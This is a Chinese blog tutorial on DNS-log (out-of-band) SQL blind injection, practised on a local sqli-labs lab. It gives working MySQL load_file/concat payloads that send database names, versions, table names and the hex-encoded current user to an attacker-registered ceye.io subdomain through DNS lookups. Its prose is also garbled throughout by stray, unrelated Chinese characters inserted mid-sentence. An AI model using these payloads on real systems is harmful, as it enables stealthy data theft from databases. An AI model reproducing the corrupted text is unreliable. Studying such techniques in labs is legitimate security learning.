對于sql盲注叼架,常用的方法應(yīng)該是二分法了,為此之前還寫過通過二分法猜解的半自動化python腳本耙箍,說實話聪廉,python甲苯比起手動真的已經(jīng)是好多了瞬痘,可是我內(nèi)心其實還是挺怵寫腳本的,而且這種腳本二分法猜解發(fā)送的請求頻繁麻煩不說板熊,還容易被waf檢測到框全,以至于ip被封。于是最近學(xué)習(xí)了一種sql盲注的奇淫技巧干签。
step1. 介紹CEYE平臺
網(wǎng)址:http://ceye.io/
- 點擊進(jìn)去注冊一個帳號津辩,這個平臺應(yīng)該是知道創(chuàng)宇的,因為之前注冊過容劳,所以這我直接登錄即可喘沿,大家注冊完畢應(yīng)該和我一樣如下圖所示:
- 注冊完之后會自動的在一級域名
ceye.io
下分配一個二級域名如xxxxx.ceye.io
一級域名是要錢的也是人家的,二級域名就不要錢了竭贩,你注冊一個帳號蚜印,它可以給你分配一個二級域名,這個大家應(yīng)該知道吧留量,給大家提點一下窄赋,希望有助于大家理解.
- 在這兒哟冬,我只給大家簡單說一下,這個平臺注冊完之后你可以理解其為自己的一臺dns服務(wù)器吧忆绰,當(dāng)你訪問你的域名或者有HTTP請求時候浩峡,這個地方會記錄你訪問的日志,要是不明白看如下圖示:
- 下面通過一個簡單操作错敢,再次有助大家理解
比如瀏覽器訪問http://zzqsmile.xxxxx.ceye.io/翰灾,如下圖所示:
- 然后回頭看
CEYE
,記得reload
刷新一下
此時我相信你已經(jīng)理解這個平臺的作用了吧伐债,其實就是一個dns解析服務(wù)器预侯,只不過只能訪問
xxxxx.ceye.io
及其子域名致开,才會產(chǎn)生dns日志而已峰锁。其他的暫不解釋,接著我們今天要將的SQL盲注奇淫技巧双戳。
step2. load_file(filename)函數(shù)
相信學(xué)習(xí)過通過sql注入讀寫服務(wù)器文件的對這個函數(shù)應(yīng)該不陌生虹蒋,在這我再簡單提一下這個函數(shù)的作用。
load_file(filename)讀取文件并返回文件內(nèi)容為字符串.使用此函數(shù)需要滿足以下條件: (1).所讀文件必須在服務(wù)器上飒货,且必須指定文件其絕對路徑 (2).連接當(dāng)前數(shù)據(jù)庫用戶必須有FILE權(quán)限 (3).文件內(nèi)容必須小于max_allowed_packet魄衅。
如果該文件不存在或無法讀取,因為前面的條件之一不滿足塘辅,函數(shù)返回 NULL晃虫。
實際上load_file()函數(shù)還可以用來發(fā)送dns解析請求,接下來就實際嘗試一下扣墩。
- 利用的payload是
load_file(concat('\\\\\\\\',(select database()),'.xxxx.ceye.io\\abc'))
哲银。
database()就是要做sql注入查詢的地方。
concat是字符串拼接
后面的abc可以改也可以不改呻惕,無所謂的荆责,你樂意寫啥就寫啥
上面拼接的結(jié)果就是'\\\\ schema_name.XXXX.ceye.io\\abc',其實相當(dāng)于訪問了帶有數(shù)據(jù)庫名稱的三級域名亚脆,被dnslog捕獲到了
step3. sqli-labs靶場練習(xí)
sqli-labs/第五關(guān)就是sql盲注做院,就拿這個來練習(xí)一下今天學(xué)的這個奇淫技巧吧。
payload:?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,1)--+
獲取當(dāng)前數(shù)據(jù)庫
http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,1)--+
- 獲取數(shù)據(jù)庫版本
http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select version()),'.xxxxx.ceye.io\\abc'))),1,1)--+
-獲取數(shù)據(jù)庫security
中的表
http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'.xxxxx.ceye.io\\abc'))),1,1)--+
http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 1,1),'.xxxxx.ceye.io\\abc'))),1,1)--+
值得說的是濒持,這種方法不能同時查詢多個結(jié)果键耕,因此需要使用
limit
來控制每次查詢一條結(jié)果。
- 當(dāng)然此時有人可能疑問到底有多少張表呢柑营?沒錯使用
count()
郁竟,我嘗試一下是可以查詢到有幾張表的。如下所示:
http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select count(table_name) from information_schema.tables where table_schema='security'),'.xxxxx.ceye.io\\abc'))),1,1)--+
- 同理查詢字段也類似而已由境,但是經(jīng)本人測試棚亩,查詢
user()
時候就沒查詢出來蓖议。這是為什么呢? 因為select user()
查詢到的是root@localhost
這樣在url里面就變成了http://root@localhost.xxxxx.ceye.io/,顯然這樣的url不是我們想要的讥蟆,因為里面有特殊字符@
勒虾,這樣訪問的時候就會將root
當(dāng)成用戶名,來訪問localhost.xxxxx.ceye.io/
站點,這點不懂的需要去了解一下URL的組成瘸彤。正如下圖所示:
那么現(xiàn)在明白為什么查詢
user()
查詢不到了吧修然,而我現(xiàn)在找到的解決辦法是將查詢的結(jié)果通過base64編碼輸出出來,但是這個需要mysql版本大于5.6.1
才能使用to_base64()
編碼函數(shù)质况,而我現(xiàn)在的數(shù)據(jù)庫版本是5.5.53
愕宋,無奈再次就不再演示了,順便在說下base64解碼函數(shù)from_base64()
至于mysql版本小于
5.6.1
就沒辦法了嗎结榄?我現(xiàn)在能想到的就是先查詢字符串結(jié)果的長度中贝,然后通過一個一個拆分,將其ascii編碼臼朗,然后查詢到我們在解碼邻寿,最后拼接得到結(jié)果。雖然麻煩视哑,還好一般字符串不會太長绣否。以后有時間有更好的方法再分享吧。之前說使用dnslog查詢的有的內(nèi)容是不能帶入URL的挡毅,后來也沒想到辦法蒜撮,但是后來有想到可以將查詢到的內(nèi)容進(jìn)行
hex()
十六進(jìn)制編碼再帶進(jìn)URL里面訪問,這樣我們就能在dnslog里面看到我們查詢到的信息了跪呈,不過看到的是十六進(jìn)制編碼內(nèi)容段磨,我們在將其解碼即可。下面一個簡單的例子學(xué)習(xí)以下這個姿勢
http://127.0.0.1/sqli-labs/Less-5/?id=1' and if((select load_file(concat('\\\\',(select hex(user())),'.k3i80p.ceye.io\\abc'))),1,1)--+
將查詢數(shù)據(jù)hex()解密一下看看庆械,nice薇溃,沒錯是root@locakhost
好了,今天的奇淫技巧就到這缭乘,大家沒事也可以嘗試嘗試沐序,總結(jié)總結(jié),不過友情提示:今天這個奇淫技巧對與window服務(wù)器是沒問題的堕绩,但是Linux服務(wù)器貌似不行策幼,至于是什么原因,好像是由于
unc
的緣故奴紧,大家可以去Google或者百度一下unc
,筆者有時間也會再去深入研究其原因和其局限性特姐,到時候再更新補充吧。